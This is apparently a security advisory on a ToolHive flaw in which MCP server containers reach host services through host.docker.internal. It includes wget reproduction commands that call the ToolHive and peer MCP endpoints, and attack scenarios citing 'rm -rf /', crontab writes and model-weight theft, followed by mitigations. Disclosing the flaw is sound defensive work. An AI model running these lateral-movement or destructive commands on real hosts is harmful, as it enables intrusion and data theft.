Details
## Summary
A containerized MCP server running with the default `network` permission profile (`insecure_allow_all: true`) can reach host-local services via `host.docker.internal`. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host's localhost. Combined with the unauthenticated ToolHive API and MCP proxy endpoints, this enables a compromised or malicious MCP server to perform lateral movement without any container escape.
## Severity
**High** — This bypasses the container isolation model that is ToolHive's core security value proposition.
## Reproduction
All tests performed from inside the `filesystem` MCP container (`docker.io/mcp/filesystem:latest`), started with default settings via `thv run filesystem -- /tmp`.
### 1. Container can reach the ToolHive control plane MCP endpoint
```bash
$ docker exec <container_id> wget -qO- \
--header="Content-Type: application/json" \
--header="Accept: application/json" \
--post-data='{"jsonrpc":"2.0","method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"evil-mcp","version":"1.0"}},"id":1}' \
http://host.docker.internal:50444/mcp
```
**Result:** Full MCP handshake succeeds:
```json
{"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2025-03-26","capabilities":{"logging":{},"tools":{}},"serverInfo":{"name":"toolhive-mcp","version":"v0.9.3"}}}
```
### 2. Container can connect to another MCP server's proxy and call its tools
```bash
$ docker exec <container_id> wget -qO- \
--header="Content-Type: application/json" \
--header="Accept: application/json" \
--post-data='{"jsonrpc":"2.0","method":"tools/list","params":{},"id":2}' \
http://host.docker.internal:64965/mcp
```
**Result:** Returns the full tool list of the target MCP server (read_file, write_file, edit_file, move_file, etc.), and tools can be called:
```json
{"jsonrpc":"2.0","id":3,"result":{"content":[{"text":"Allowed directories:\n/tmp","type":"text"}]}}
```
### 3. Container can reach other host services
```bash
# Kubernetes API
$ docker exec <container_id> wget -qO- --no-check-certificate https://host.docker.internal:6443/version
{"major":"1","minor":"34","gitVersion":"v1.34.1"...}
# Ollama LLM API
$ docker exec <container_id> wget -qO- http://host.docker.internal:11434/api/tags
{"models":[{"name":"kimi-k2:1t-cloud"...}]}
```
## Attack Scenarios
### Scenario 1: Malicious MCP server pivots to privileged native MCP tools
Many users run native (non-containerized) MCP servers like Desktop Commander, terminal servers, or custom tools that have `execute_command`, `write_file`, or `shell` capabilities with full host access. These typically listen on localhost ports. A malicious containerized MCP server can:
1. Port-scan `host.docker.internal` to discover listening services
2. Attempt MCP handshakes on discovered ports
3. Call privileged tools (e.g., `execute_command("rm -rf /")` or `write_file("/etc/crontab", "...")`)
This achieves **full host compromise without any container escape vulnerability**.
### Scenario 2: Compromised MCP server manipulates ToolHive itself
Via the unauthenticated ToolHive MCP endpoint on port 50444, a compromised container could potentially:
- List and stop other running MCP servers (denial of service)
- Start new MCP servers with attacker-controlled images
- Modify configurations
### Scenario 3: Data exfiltration via cross-MCP-server access
A low-privilege MCP server (e.g., `sequentialthinking` with no file mounts) could reach the `filesystem` server's proxy and call `read_file` to access files it was never authorized to see.
### Scenario 4: LLM model theft / abuse
As demonstrated, the container can reach Ollama's API and could enumerate models, run inference, or exfiltrate model weights from self-hosted LLMs.
## Root Causes
1. **`insecure_allow_all: true` as default** — permits outbound connections to any destination including `host.docker.internal`
2. **No authentication on ToolHive API / MCP proxies** — any client that can reach the port can interact fully
3. **Docker's `host.docker.internal` DNS** — resolves to the host machine, bypassing localhost-only binding assumptions
## Suggested Mitigations
### Short-term
- **Block `host.docker.internal` and `172.17.0.1`** (Docker gateway) in container networking by default, even when `insecure_allow_all` is enabled. These should require explicit opt-in.
- **Add authentication to MCP proxy endpoints** — even a shared secret or token per session would prevent cross-container lateral movement.
### Medium-term
- **Network policy per container** — ToolHive already has the `permission_profile` infrastructure. Add support for explicit allow-lists rather than just the binary none/all choice.
- **Isolate container networks** — run each MCP server in its own Docker network with no access to the Docker bridge gateway.
### Long-term
- **Mutual TLS or token-based auth** between ToolHive proxy and containers, so even if network access exists, unauthorized MCP calls are rejected.
- **Audit logging** — log all MCP tool calls with source identification so lateral movement attempts are visible.
## Environment
- ToolHive v0.9.3 (macOS desktop app, Docker runtime)
- Docker Desktop for Mac (host.docker.internal enabled by default)
- Tested with `docker.io/mcp/filesystem:latest`
